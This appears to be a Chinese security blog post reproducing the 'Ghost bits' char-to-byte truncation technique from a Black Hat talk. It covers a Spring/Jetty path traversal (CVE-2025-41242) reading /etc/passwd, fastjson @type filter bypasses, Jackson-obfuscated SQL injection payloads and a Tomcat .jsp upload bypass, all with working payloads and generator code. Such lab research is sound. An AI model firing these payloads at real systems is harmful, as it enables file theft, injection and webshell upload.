Featured image of post Ghost bits复现分析

Ghost bits复现分析

Ghost bits复现分析

漏洞复现环境:

https://github.com/vulhub/vulhub/tree/master/spring/CVE-2025-41242

Black Hat Asia 2026议题PPT:

https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf

原理

java中的char类型和byte类型的转换导致的漏洞,char类型是16位,byte是8位,当代码用(byte)chch & 0xFFbaos.write(ch)DataOutputStream#writeBytes()这类写法把char强转成byte时,高8位会被静默丢弃,只保留低8位

以议题的例子来说明:

1
2
汉字(U+2F58) 二进制是 00101111 00111010
强转byte后 8  0x2F 被丢弃只剩低 8  0x3A  'X'

所以只要在存在强转byte类型的地方,攻击者就可以通过构造低8位有意义,整体无意义的字符来bypass,导致很多高危漏洞复活

CVE-2025-41242

p神做的靶场,那就先复现一下这个spring+jetty的漏洞吧,这里顺便记录一下怎么用idea远程调试

先去docker里面把源码下下来,运行配置这里选择远程JVM调试就行了,这里注意本地和远程的源码一定要一样才能调试

image-20260507214442951

直接在StringUntils这个类的uriDecode方法下断点,直接发payload就断下来了

1
/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64

image-20260507223457797

注意观察此时的变量,我们传入了/a/b/c这种格式的url,这里是分开解析,依次对a,b,c进行解码,这里的ghost bits漏洞存在于baos.write(ch)

image-20260507224541321

注意看这里,ch是int类型的,这里实际上调用的是ByteArrayOutputStream#write(int)

关于这个write函数

image-20260507225113720

这里并没有给出解释,但是官方文档写了https://docs.oracle.com/javase/8/docs/api/java/io/OutputStream.html#write-byte:A-

image-20260507225138008

可以看到int类型转byte类型,丢弃了前面高位的24位,剩下低位的8位

以payload中的第一个字符为例

1
2
阮的二进制0000 0000  0000 0000  1001 0110  0010 1110
取低8位后变成0010 1110也就是0x2E = '.'

然后上面还有要注意的点,最后的changed变量一定要为true,否则返回source,也就是不解析,所以一定要进一次if判断,也就是字符里面得有至少一个%,一定要有一个字符进行url编码,所以这里如果只传入阮严灵丰丰甲来是不会解析的,要变成%2e严灵丰丰甲来才能被解析成.%u002e

不过好在最后有对整个payload进行一次解析

image-20260507230804632

然后解码完现在的url变为

1
/.%u002e/.%u002e/.%u002e/etc/passwd

然后会进到

image-20260507231403894

跟进去看一下怎么校验的

image-20260507232732231

当存在两个点的时候,例如../,把 canonical 里面的最后一级目录删掉(退回上一级),返回 false。如果已经退无可退(到了根目录还要往上退),就会返回 true(表示非法)。

接下来走到addPath这里

image-20260507232907214

跟进

image-20260507233232339

image-20260507234223286

然后最后解码完变

image-20260507234141136

image-20260507234528184

就穿越出来了

image-20260507235711839

fastjson

引用议题的图片:

image-20260515205901723

image-20260515205911896

这里介绍了两种bypass方法用来绕过,这里上面用@为例,所以我们直接跟进这段源码看看

\x4_ bypass

我们都知道fastjson有\x40这样的bypass,如

1
{"\x40type":"java.awt.Rectangle"}

image-20260515211922148

这里其实就是定义一个16进制的gigits,从0-9a-fA-F用于后续的运算,值得注意的是这里数组长度不能超int(f)

image-20260515212206024

当字符以x开头,也就是以hex解析的时候,先后获取x后的数字进行计算,如果不是hex字符这个值就为0,之前的\x40解析:

1
digits[4]*16+digits[0]=0x40

根据上面的分析,填入任何非hex的字符都行

1
2
digits[4]*16+digits[(int)'J']=0x40
digits[4]*16+digits[(int)'_']=0x40

测试代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

import java.util.Random;

public class ghostTest {
    private  static final Random random = new Random();
    public static void main(String[] args) {
        String[] json = {
                "{\"@type\":\"java.awt.Rectangle\"}",
                "{\"\\x40type\":\"java.awt.Rectangle\"}",
                "{\"\\x4" + getRandomNonHexChar() + "type\":\"java.awt.Rectangle\"}",
                "{\"\\x4" + getRandomNonHexChar() + "type\":\"java.awt.Rectangle\"}",
                "{\"\\x4" + getRandomNonHexChar() + "type\":\"java.awt.Rectangle\"}",
                "{\"\\x4" + getRandomNonHexChar() + "type\":\"java.awt.Rectangle\"}",
        };
        for (String s : json) {
            try{
                System.out.println(s);
                JSONObject obj = JSON.parseObject(s);
                System.out.println(obj);
            }catch (Exception e){
                System.out.println(e);
            }
        }
    }
    private static char getRandomNonHexChar() {
        while (true) {
            char c = (char) (random.nextInt(102 - 32 + 1) + 32);//防止数组越界

            boolean isHex = (c >= '0' && c <= '9') ||
                    (c >= 'a' && c <= 'f') ||
                    (c >= 'A' && c <= 'F');

            boolean isJsonSpecial = (c == '"' || c == '\\');

            if (!isHex && !isJsonSpecial) {
                return c;
            }
        }
    }
}

image-20260515220402157

\u0040 bypass

fastjson还支持另外一种绕过payload

1
{"\u0040type":"java.awt.Rectangle"}

image-20260515222021640

这里以unicode解析会进这里

image-20260515222141871

image-20260515223709860

这里判断字符类型选择不同实例解析,跟进CharacterData01

image-20260515223805879

这里根据进制不同来解析,上面规定了16进制,所以不是16进制的字符返回-1,重点在于传进去的字符的char类型的,char在0-65535范围内有非常多的字符可以冒充hex字符。例如一些其他语言的字符(

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.TreeMap;

public class GhostBitsGenerator {

    public static void main(String[] args) {
        Map<Integer, List<Character>> hexMap = new TreeMap<>();

        for (int i = 0; i < 16; i++) {
            hexMap.put(i, new ArrayList<>());
        }

        // 遍历 Java char 的全部范围 (0 到 65535)
        for (int i = 0; i <= Character.MAX_VALUE; i++) {
            char c = (char) i;

            // 使用 Java 原生的 digit 方法判断该字符在 16进制下是否合法
            int hexValue = Character.digit(c, 16);

            // 如果返回值不是 -1,说明 Java 认为这是一个合法的 16 进制字符!
            if (hexValue != -1) {
                hexMap.get(hexValue).add(c);
            }
        }

        for (Integer key : hexMap.keySet()) {
            System.out.println(hexMap.get(key));
        }
    }
}

image-20260515231131595

然后bypass

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package ghostBits;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

import java.util.*;

public class ghostTest {
    public static Map<Integer, List<Character>> hexMap = GhostBitsGenerator.getHexMap();
    private  static final Random random = new Random();
    public static void main(String[] args) {
        String[] payload = {
                "{\"@type\":\"java.awt.Rectangle\"}",
                "{\"@type\":\"java.awt.Rectangle\"}",
                "{\"@type\":\"java.awt.Rectangle\"}"
        };
        for(String str : payload) {
            String unicode = GhostBitsGenerator.encodeJsonToUnicode(str);
            System.out.println(unicode);
            String ghost = GhostBitsGenerator.replaceUnicodeHex(unicode, hexMap, random);
            System.out.println(ghost);
            JSONObject obj = JSON.parseObject(ghost);
            System.out.println(obj);
        }
    }
}

然后工具类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package ghostBits;

import java.util.*;

public class GhostBitsGenerator {
    public static Map<Integer, List<Character>> getHexMap() {
        Map<Integer, List<Character>> hexMap = new TreeMap<>();
        for (int i = 0; i < 16; i++) {
            hexMap.put(i, new ArrayList<>());
        }
        for (int i = 0; i <= Character.MAX_VALUE; i++) {
            char c = (char) i;
            int hexValue = Character.digit(c, 16);
            if (hexValue != -1) {
                hexMap.get(hexValue).add(c);
            }
        }
        return hexMap;
    }

    public static String encodeJsonToUnicode(String str) {
        StringBuilder sb = new StringBuilder();
        for (char c : str.toCharArray()) {
            if (c == '{' || c == '}' || c == '"' || c == ':' || c == ',') {
                sb.append(c);
            } else {
                sb.append(String.format("\\u%04x", (int) c));
            }
        }
        return sb.toString();
    }

    public static String replaceUnicodeHex(String unicodeJson, Map<Integer, List<Character>> map, Random random) {
        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < unicodeJson.length(); i++) {
            if (i + 5 < unicodeJson.length() && unicodeJson.startsWith("\\u", i)) {
                sb.append("\\u");
                for (int j = 0; j < 4; j++) {
                    char hexChar = unicodeJson.charAt(i + 2 + j);
                    int val = Character.digit(hexChar, 16);
                    List<Character> alternatives = map.get(val);
                    char replacement = alternatives.get(random.nextInt(alternatives.size()));
                    sb.append(replacement);
                }
                i += 5;
            } else {
                sb.append(unicodeJson.charAt(i));
            }
        }
        return sb.toString();
    }
}

image-20260515235313195

jackson

image-20260519200329508

本质是\u0040bypass

image-20260519201026521

这里解析uincode字符,问题在于这个chartoHex方法

image-20260519201203857

image-20260519201525193

可以看到,如果ch是char类型,这里就是会丢失高位,只剩下低位,很标准的ghost bits

跟之前的实现类似,这次我们只用中文字符集替换

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package ghostbitsBypass;

import java.util.*;

public class GhostBitsGenerator {
    public static Map<Character, List<Character>> getChineseHexMap() {
        Map<Character, List<Character>> chineseMap = new HashMap<>();

        String hexChars = "0123456789abcdefABCDEF";
        for (char c : hexChars.toCharArray()) {
            chineseMap.put(c, new ArrayList<>());
        }

        for (int i = 0x4E00; i <= 0x9FA5; i++) {
            char cjkChar = (char) i;
            char lowByteChar = (char) (i & 0xFF);
            if (chineseMap.containsKey(lowByteChar)) {
                chineseMap.get(lowByteChar).add(cjkChar);
            }
        }
        return chineseMap;
    }

    public static String encodeJsonToUnicode(String str) {
        StringBuilder sb = new StringBuilder();
        for (char c : str.toCharArray()) {
            if (c == '{' || c == '}' || c == '"' || c == ':' || c == ',') {
                sb.append(c);
            } else {
                sb.append(String.format("\\u%04x", (int) c));
            }
        }
        return sb.toString();
    }

    public static String replaceUnicodeWithChinese(String unicodeJson, Map<Character, List<Character>> chineseMap, Random random) {
        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < unicodeJson.length(); i++) {
            if (i + 5 < unicodeJson.length() && unicodeJson.startsWith("\\u", i)) {
                sb.append("\\u");
                for (int j = 0; j < 4; j++) {
                    char hexChar = unicodeJson.charAt(i + 2 + j);
                    List<Character> alternatives = chineseMap.get(hexChar);
                    if (alternatives != null && !alternatives.isEmpty()) {
                        char replacement = alternatives.get(random.nextInt(alternatives.size()));
                        sb.append(replacement);
                    } else {
                        sb.append(hexChar);
                    }
                }
                i += 5;
            } else {
                sb.append(unicodeJson.charAt(i));
            }
        }
        return sb.toString();
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package ghostbitsBypass;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

import java.util.*;

public class ghost {
    public static Map<Character, List<Character>> chineseMap = GhostBitsGenerator.getChineseHexMap();
    private  static final Random random = new Random();
    public static void main(String[] args) throws JsonProcessingException {
        String[] payload = {
                "{\"username\":\"admin' and 1='1 \"}",
                "{\"username\":\"admin' and 1='2 \"}",
                "{\"username\":\"1' union select 1,user(),3,4 -- \"}",
        };
        for(String json : payload){
            json = GhostBitsGenerator.encodeJsonToUnicode(json);
            json = GhostBitsGenerator.replaceUnicodeWithChinese(json, chineseMap, random);
            System.out.println(json);
            ObjectMapper mapper = new ObjectMapper();
            Object obj = mapper.readValue(json,Object.class);
            System.out.println(obj);
        }
    }
}

image-20260519203907911

不过研究jackson本质是想利用这个打springboot的,但是jackson的本地解析走的是ReaderBasedJsonParser,也就满足ch是char类型,而springboot走的是UTF8StreamJsonParser,ch是byte类型就没法利用

这里询问ai说是要使springboot切换到jackson的ReaderBasedJsonParser解析才行,也就是换请求头中的Content-Type: application/json; charset=utf-16,因为UTF8StreamJsonParser顾名思义就是解析utf-8的,如果换成别的编码,就会回退到jackson解析,具体我没去实验(

becl

image-20260519214201492

还是之前ByteArrayOutputStream的write的转换问题

image-20260519215257043

不多说了,跟上面一样其实,就是把$$BCEL$$后的字节码变成

tomcat upload

image-20260519215515209

image-20260519221039130

这个也一样,原先的bypass是

1
2
3
4
5
6
7
8
9
POST /upload/img HTTP/1.1
Host: 127.0.0.1:9999
Content-Length: 185
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycCYhwj56XpogMIa0
------WebKitFormBoundarycCYhwj56XpogMIa0
Content-Disposition: form-data; name="file";filename*="UTF-8''1.jsp"
Content-Type: image/png
test
------WebKitFormBoundarycCYhwj56XpogMIa0--

原先的UTF-8''1.jsp还能进一步替换成

1
2
3
4
filename*="UTF-8''1.jsp"
filename*="UTF-8''1.%6asp"
filename*="UTF-8''1.%鸶繡sp"
filename*="UTF-8''1.汪癳絰"

URLDecoder

image-20260519221820289

最熟悉的一集,此事在bottle ssti的bypass中亦有记载(

image-20260519222612374

这个跟上面的那个fastjson几乎一模一样

小结

现在yakit也上插件了,可以随时随地构造

image-20260519224212230

使用 Hugo 构建
主题 StackJimmy 设计